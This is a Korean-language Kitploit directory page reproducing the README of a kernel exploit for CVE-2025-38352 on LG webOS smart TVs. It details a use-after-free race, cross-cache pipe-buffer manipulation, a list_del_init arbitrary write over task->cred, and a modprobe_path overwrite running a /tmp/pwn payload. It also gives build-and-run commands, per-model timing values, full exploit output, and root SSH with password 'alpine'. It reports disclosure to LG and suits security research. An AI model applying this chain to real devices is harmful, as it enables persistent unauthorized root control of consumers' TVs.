Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
chronomaly-webos — CVE-2025-38352 LG webOS 스마트 TV(ARM64)용 커널 익스플로잇. 실제 소비자 하드웨어에서 새로운 익스플로잇 기술을 사용하여 영구적인 루트 권한을 획득합니다. LG에 책임 있는 공개를 완료했습니다. | Kitploit
도구/GitHubGitHub/analyticeth/chronomaly-webos
Embedded Systems SecurityPrivilege EscalationVulnerability AnalysisExploitationHardware SecurityLearning & EducationBinary Exploitation
GitHubanalyticeth/chronomaly-webos

chronomaly-webos

CVE-2025-38352 LG webOS 스마트 TV(ARM64)용 커널 익스플로잇. 실제 소비자 하드웨어에서 새로운 익스플로잇 기술을 사용하여 영구적인 루트 권한을 획득합니다. LG에 책임 있는 공개를 완료했습니다.

저장소 보기
102개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Chronomaly — CVE-2025-38352 on LG webOS

CVE-2025-38352 (POSIX CPU 타이머 경쟁 조건 / use-after-free)에 대한 커널 익스플로잇으로, ARM64에서 커널 5.4.268을 실행하는 LG webOS 스마트 TV에서 지속적인 루트 권한을 얻습니다. 여러 펌웨어 버전의 4개 TV 모델에서 확인되었습니다. LG 보안 연구자 프로그램에 책임 있는 공개를 완료했습니다(2026년 2월).

farazsth98의 Chronomaly를 기반으로 구축되었습니다. 1단계 UAF 경쟁 로직과 크로스 캐시 인프라를 ARM64로 포팅 및 적용했으며, 2~5단계는 에뮬레이트된 환경에는 없는 실제 하드웨어 제약 조건을 해결하는 새로운 익스플로잇 기술과 솔루션으로 재설계되었습니다. Claude Opus 4.6의 도움을 받아 개발되었습니다.

전체 취약점 분석, 익스플로잇 체인 분석 및 권장 완화 조치에 대해서는 VULNERABILITY_REPORT.md를 참조하십시오.

결과

  • 권한이 없는 prisoner 사용자(uid=5038)로부터 지속적인 커널 루트(uid=0) 획득
  • 5개의 LG TV 모델에서 확인됨: OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • 펌웨어 버전 33.22.65 – 33.30.97(커널 5.4.268-320 및 -329)에서 확인됨
  • 완전 자동화, 몇 분 이내 완료, Homebrew Channel 권한 상승을 통해 재부팅 후에도 유지됨
  • LG 보안 연구자 프로그램에 보고됨(2026년 2월 7일)

면책 조항

이 익스플로잇은 책임 있는 보안 연구의 일환으로 개발되었으며 2026년 2월 7일 LG의 보안 연구자 프로그램에 보고되었습니다. 교육 목적으로만 게시됩니다. 책임감 있게 사용하고 소유한 기기에서만 사용하십시오. 저자는 이 소프트웨어 사용으로 인한 손상, 벽돌화, 데이터 손실 또는 보증 무효에 대해 책임을 지지 않습니다. 이 소프트웨어는 보증 없이 있는 그대로 제공됩니다.

새로운 기술

1. 재설계된 쓰기 프리미티브

원본의 임의 감소(arbitrary decrement)는 느리고 잡음이 많습니다. 포크된 프로세스를 통해 1,000개의 struct cred 객체를 스프레이한 다음 대상 cred의 EUID 필드를 N번 감소시킵니다. 각 감소는 별도의 작업입니다. QEMU에서는 타이밍이 관대하여 허용되지만, 인터럽트 기반 페이지 회수가 작업 사이에 파이프 버퍼 페이지를 도용할 수 있는 실제 하드웨어에서는 신뢰할 수 없습니다.

이는 list_del_init()을 통한 단일 임의 쓰기로 대체되었습니다. 익스플로잇은 파이프 버퍼를 통해 UAF된 sigqueue의 list_head.next 및 list_head.prev 포인터를 덮어씁니다. 커널이 보류 중인 신호를 큐에서 제거할 때(collect_signal() → list_del_init()), prev->next = next(가짜 cred 주소를 task_struct->cred에 씀) 및 next->prev = prev(제어된 부작용 쓰기)를 수행합니다. 한 번의 쓰기로 프로세스의 cred 포인터를 모든 uid/gid 필드가 0인 가짜 cred 구조체를 가리키도록 바꿉니다. cred 스프레이, 포크된 프로세스 없음, 결정적입니다.

2. 비파괴적 읽기를 위한 tee()를 통한 peek_pipe()

원본은 익스플로잇 전체에서 파이프 버퍼에 대해 파괴적인 read() 호출을 사용합니다. QEMU에서는 페이지가 작업 사이에 도난당하지 않기 때문에 제대로 작동합니다. 4개의 물리적 코어가 있는 실제 하드웨어에서는 커널의 CPU별 페이지 목록(pcplist)이 해제된 페이지를 적극적으로 회수합니다. 파괴적 읽기는 파이프 버퍼의 백킹 페이지를 해제하는데, 익스플로잇이 재할당하기 전에 하드웨어 인터럽트가 즉시 이를 도용할 수 있습니다.

해결책은 tee()를 사용한 비파괴적 파이프 읽기 프리미티브입니다. tee() 시스템 호출은 파이프 데이터를 소비하지 않고 두 파이프 간에 복제하므로 원래 파이프 버퍼의 백킹 페이지를 고정 상태로 유지합니다. 이를 통해 익스플로잇은 크로스 캐시된 파이프 버퍼에서 페이지 손실 위험 없이 커널 데이터를 반복해서 읽을 수 있습니다. 이는 실제 하드웨어에서 안정성을 위해 매우 중요했습니다.

3. 두 번째 크로스 캐시된 파이프 버퍼의 가짜 Cred

원본은 cred 객체를 스프레이하고 예측 가능한 위치에 하나를 배치하기를 기대합니다. 이 버전은 두 번째 크로스 캐시를 수행하여 알려진 주소에 가짜 cred 구조체를 생성합니다. 새 sigqueue 할당(tkill(SIGRTMIN+1) 사용), 첫 번째 파이프 버퍼의 힙 누수에서 해당 주소를 알아낸 다음 해당 sigqueue의 슬랩 페이지를 두 번째 파이프 버퍼로 크로스 캐시합니다. 가짜 cred는 누출된 sigqueue 주소의 정확한 페이지 오프셋에 두 번째 파이프 버퍼에 기록됩니다. 결과적으로 추측 없이 결정론적 커널 가상 주소에 가짜 cred가 생성됩니다.

4. 최종 쓰기 트리거로 보류된 SIGUSR2

원본은 UAF sigqueue의 주소를 누출하기 위해 2단계 초기에 SIGUSR2를 큐에서 제거합니다. 이로 인해 신호가 소비되므로 원본은 최종 쓰기를 위해 다른 메커니즘이 필요합니다. 이 버전은 UAF sigqueue 자체의 주소가 필요하지 않습니다(힙 누수는 파이프 버퍼의 인접한 sigqueue 포인터에서 비롯됨). SIGUSR2는 5단계 전체에 걸쳐 보류 상태로 유지되며, 해당 큐 제거가 최종 임의 쓰기 트리거로 사용됩니다. UAF를 생성한 신호가 이를 악용하는 큐 제거 신호와 동일합니다.

5. modprobe_path + socket(44) 권한 상승

가짜 cred 구조체에는 user_ns, user 및 group_info 포인터가 NULL입니다(파이프 버퍼가 uid/gid 필드 이상으로 0으로 초기화되기 때문). setresuid(), fork() 또는 exec()를 호출하면 이러한 NULL 포인터를 역참조하여 커널 패닉이 발생합니다. 원본은 cred 스프레이가 유효한 포인터가 있는 실제 cred 객체를 사용하기 때문에 이 문제를 피합니다.

해결책: /proc/sys/kernel/modprobe를 페이로드 스크립트(/tmp/pwn)를 가리키도록 덮어쓴 다음 socket(44, SOCK_STREAM, 0)을 통해 call_usermodehelper를 트리거합니다(존재하지 않는 프로토콜 패밀리 요청). 커널은 init_cred(완전히 유효한 커널 자체의 루트 자격 증명)로 modprobe 헬퍼를 실행하여 손상된 cred를 완전히 우회합니다. 페이로드는 전체 루트로 실행되며 임의의 작업을 수행할 수 있습니다.

6. 실제 하드웨어 타이밍 보호

4단계의 중요한 창(파이프 버퍼에 악성 포인터를 쓴 다음 신호 큐 제거 트리거)은 하드웨어 인터럽트가 CPU별 페이지 목록에서 파이프 버퍼 페이지를 도용하기 쉽습니다. QEMU에서는 이런 일이 발생하지 않습니다. 실제 하드웨어에서는 이 창이 SCHED_FIFO 우선순위(가능한 경우)와 sched_yield()로 보호되어 중요한 섹션에 들어가기 전에 CPU에서 보류 중인 작업이 완료되도록 하고, 미리 준비된 버퍼 내용으로 쓰기와 트리거 사이의 시간을 최소화합니다. 또한 익스플로잇은 SCHED_FIFO를 사용할 수 없을 때(webOS에서 prisoner 사용자에게 CAP_SYS_NICE가 없는 경우) 우아하게 대체됩니다.

7. ARM64 task_struct 오프셋 리버스 엔지니어링

임의 쓰기는 task_struct->cred를 대상으로 하며, 이를 위해서는 task_struct->pending(주소가 파이프 버퍼에서 누출됨)에서 task_struct->cred까지의 바이트 오프셋을 알아야 합니다. 이 오프셋은 커널 구성에 따라 다릅니다. 0x80(128바이트) 오프셋은 CONFIG_KEYS=y, CONFIG_SYSVIPC=y 및 ARM64별 구조체 레이아웃 및 정렬을 고려하여 LG webOS 커널 소스에서 수동으로 계산되었습니다. 원본의 x86_64 오프셋은 구조체 패킹 및 구성 옵션이 다르기 때문에 다릅니다.


기능

성공 시 익스플로잇은 다음을 수행합니다.

  1. UAF → 크로스 캐시 → 임의 쓰기(cred 덮어쓰기)를 통해 커널 루트 획득
  2. /proc/sys/kernel/modprobe를 덮어써서 init으로 루팅 페이로드 실행
  3. 페이로드가 Homebrew Channel을 설치하고 권한을 상승시키며 Dev Mode 앱을 제거
  4. 재부팅 후 Homebrew Channel이 포트 22에서 지속적인 루트 SSH를 제공

빠른 시작

사전 요구 사항

  • 커널 5.4.268 (ARM64)이 탑재된 LG webOS TV
  • TV에서 Dev Mode 활성화(포트 9922에서 SSH 액세스)
  • ARM64 크로스 컴파일러(aarch64-linux-gnu-gcc)
  • Homebrew Channel IPK — webosbrew 릴리스에서 다운로드

크로스 컴파일러 설치

root@kitploit:~
# macOS (타사 탭 필요)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

권장: Homebrew Channel 먼저 설치

익스플로잇을 실행하기 전에 Dev Mode를 통해 TV에 Homebrew Channel 앱을 설치하십시오. 이렇게 하면 루팅 페이로드가 설치 + 권한 상승(느리고 실패 가능) 대신 권한 상승만 수행하면 되므로(빠르고 안정적) 좋습니다. ares-install 또는 Dev Manager 앱을 사용하여 사이드로드할 수 있습니다.

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

HBC가 사전 설치되어 있지 않으면 익스플로잇이 /tmp/hbchannel.ipk(deploy-webos.sh가 배포)에서 설치를 시도하지만, 이로 인해 실패할 수 있는 추가 단계가 발생합니다.

빌드, 배포, 실행

root@kitploit:~
# 1. TV의 IP 및 SSH 키 설정
#    TV IP는 설정 > 네트워크 > Wi-Fi > 고급 설정에서 확인
#    SSH 키는 LG Developer Mode 앱에서 생성 — Dev Manager 또는 ares-setup-device가 다운로드한 키를 찾으십시오(일반적으로 webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. 빌드 및 배포 (deploy-webos.sh가 자동으로 빌드 처리)
./deploy-webos.sh

# 3. 연결 및 실행
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

환경 변수

튜닝

익스플로잇은 명령줄 인수로 타이밍 매개변수를 허용합니다.

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

인수가 제공되지 않으면 컴파일된 기본값이 사용됩니다(DELAY=31000, DELTA=50, THRESHOLD=3000). DELAY가 제공되고 DELTA가 제공되지 않으면 DELTA는 DELAY / 600으로 자동 계산됩니다(가장 가까운 5로 반올림).

알려진 양호한 값

새 TV에 대한 값 찾기

익스플로잇 출력을 관찰하고 DELAY를 조정하십시오.

root@kitploit:~
Parent raced too late   → DELAY 감소
Parent raced too early  → DELAY 증가

두 메시지가 모두 나타나면 타이밍이 근접한 것입니다. 계속 실행하면 익스플로잇이 결국 경쟁 창에 도달합니다. 컴파일된 기본값(31000)으로 시작하여 거기서 조정하십시오.

루트 획득 후

  1. 익스플로잇은 /tmp/pwn이 완료될 때까지 기다립니다. 종종 시간 초과됩니다(정상입니다). 필요한 경우 /tmp/pwn.log를 확인하여 페이로드가 완료되었는지 수동으로 확인하십시오.
  2. TV 재부팅
  3. 재부팅 후 Homebrew Channel이 포트 22에서 SSH를 제공합니다.
    root@kitploit:~
    ssh root@<TV_IP>
    # password: alpine
    

샘플 출력

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
전체 출력 (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

라이선스

원본 기여는 MIT 라이선스입니다. farazsth98의 Chronomaly에서 파생된 부분은 상위 프로젝트가 명시적 라이선스 없이 게시되었으므로 MIT 허여에서 제외됩니다. 자세한 내용은 LICENSE를 참조하십시오.

참고 자료

  • CVE-2025-38352 — 2025년 9월 Android 보안 게시판(야생에서 악용됨)
  • Chronomaly — farazsth98의 원본 익스플로잇(x86_64/QEMU)
  • 1부 — 야생 Android 커널 취약점 분석 + PoC
  • 2부 — 커널 패치 없이 경쟁 창 확장
  • 3부 — Chronomaly 발견
  • Homebrew Channel
도구 다운로드
변수기본값설명
WEBOS_IP192.168.1.100TV IP 주소
WEBOS_PORT9922SSH 포트
WEBOS_USERprisonerSSH 사용자
WEBOS_KEY$HOME/.ssh/webos_rsaSSH 키 경로
TV 모델OTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000